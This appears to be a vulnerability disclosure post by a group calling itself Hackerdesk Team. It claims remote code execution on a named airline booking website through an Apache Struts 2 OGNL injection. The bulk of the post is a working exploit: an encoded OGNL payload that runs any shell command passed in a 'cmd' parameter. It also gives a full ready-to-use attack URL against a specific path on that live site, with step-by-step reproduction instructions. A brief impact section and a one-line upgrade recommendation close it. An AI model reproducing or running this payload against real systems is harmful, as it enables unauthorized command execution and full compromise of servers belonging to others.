Remote Code Execution On qatar Domain By:-Hackerdesk Team

Domain:- http://booking.qatarairways.com

Attack Details:-
Apache Struts 2 Exploit:- OGNL provides, among other features, extensive expression evaluation capabilities.
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation.

OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially.

Working Explpit:-

Link:- http://booking.qatarairways.com

Attack Query:-

```
(%27%5C43_memberAccess.allowStaticMethodAccess%27)(a)=true&(b)((%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27)(b))&(%27%5C43c%27)((%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27)(c))&(g)((%27%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()%27)(d))&(h)((%27%5C43webRootzpro%5C75@java.lang.Runtime@getRuntime().exec(%5C43req.getParameter(%22cmd%22))%27)(d))&(i)((%27%5C43webRootzproreader%5C75new%5C40java.io.DataInputStream(%5C43webRootzpro.getInputStream())%27)(d))&(i01)((%27%5C43webStr%5C75new%5C40byte%5B5100%5D%27)(d))&(i1)((%27%5C43webRootzproreader.readFully(%5C43webStr)%27)(d))&(i111)((%27%5C43webStr12%5C75new%5C40java.lang.String(%5C43webStr)%27)(d))&(i2)((%27%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()%27)(d))&(i2)((%27%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()%27)(d))&(i95)((%27%5C43xman.getWriter().println(%5C43webStr12)%27)(d))&(i99)((%27%5C43xman.getWriter().close()%27)(d))&cmd=id
```

Impact:- The vulnerability alone may not be hugely significant, but when put into the context of an attack it can have much greater consequences. The vulnerability allows for some post-exploitation techniques to be utilised, such as installing backdoors and JSP post-exploitation tool kits. This allows for more elaborate and complex attacks to occur.

The true impact of the exploitation of this vulnerability when combined with post-exploitation tool kits could be full compromise of a system with the ability for that system to be used for onward compromise of connected hosts.

Steps To reproduce:-
1.Open the domain:- http://booking.qatarairways.com
2.Add the injection:-
http://booking.qatarairways.com/qribe-web/public/showBooking.action?%28%27\43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27\43context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\75false%27%29%28b%29%29&%28%27\43c%27%29%28%28%27\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27\43req\75@org.apache.struts2.ServletActionContext@getRequest%28%29%27%29%28d%29%29&%28h%29%28%28%27\43webRootzpro\75@java.lang.Runtime@getRuntime%28%29.exec%28\43req.getParameter%28%22cmd%22%29%29%27%29%28d%29%29&%28i%29%28%28%27\43webRootzproreader\75new\40java.io.DataInputStream%28\43w

```
ebRootzpro.getInputStream%28%29%29%27%29%28d%29%29&%28i01%29%28%28%27\43webStr\75new\40byte[5100]%27%29%28d%29%29&%28i1%29%28%28%27\43webRootzproreader.readFully%28\43webStr%29%27%29%28d%29%29&%28i111%29%28%28%27\43webStr12\75new\40java.lang.String%28\43webStr%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i2%29%28%28%27\43xman\75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28i95%29%28%28%27\43xman.getWriter%28%29.println%28\43webStr12%29%27%29%28d%29%29&%28i99%29%28%28%27\43xman.getWriter%28%29.close%28%29%27%29%28d%29%29&cmd=id
```

On cmd just enter the unix command you want to execute.
3.It ask you to download the file.
4. Just download that action file and open it with text editor.
5. You see the result of that command after execution on that page.

How to Patch:-
It is strongly recommended to upgrade to Struts 2.3.14.1, which contains the corrected OGNL and XWork library.

Thanks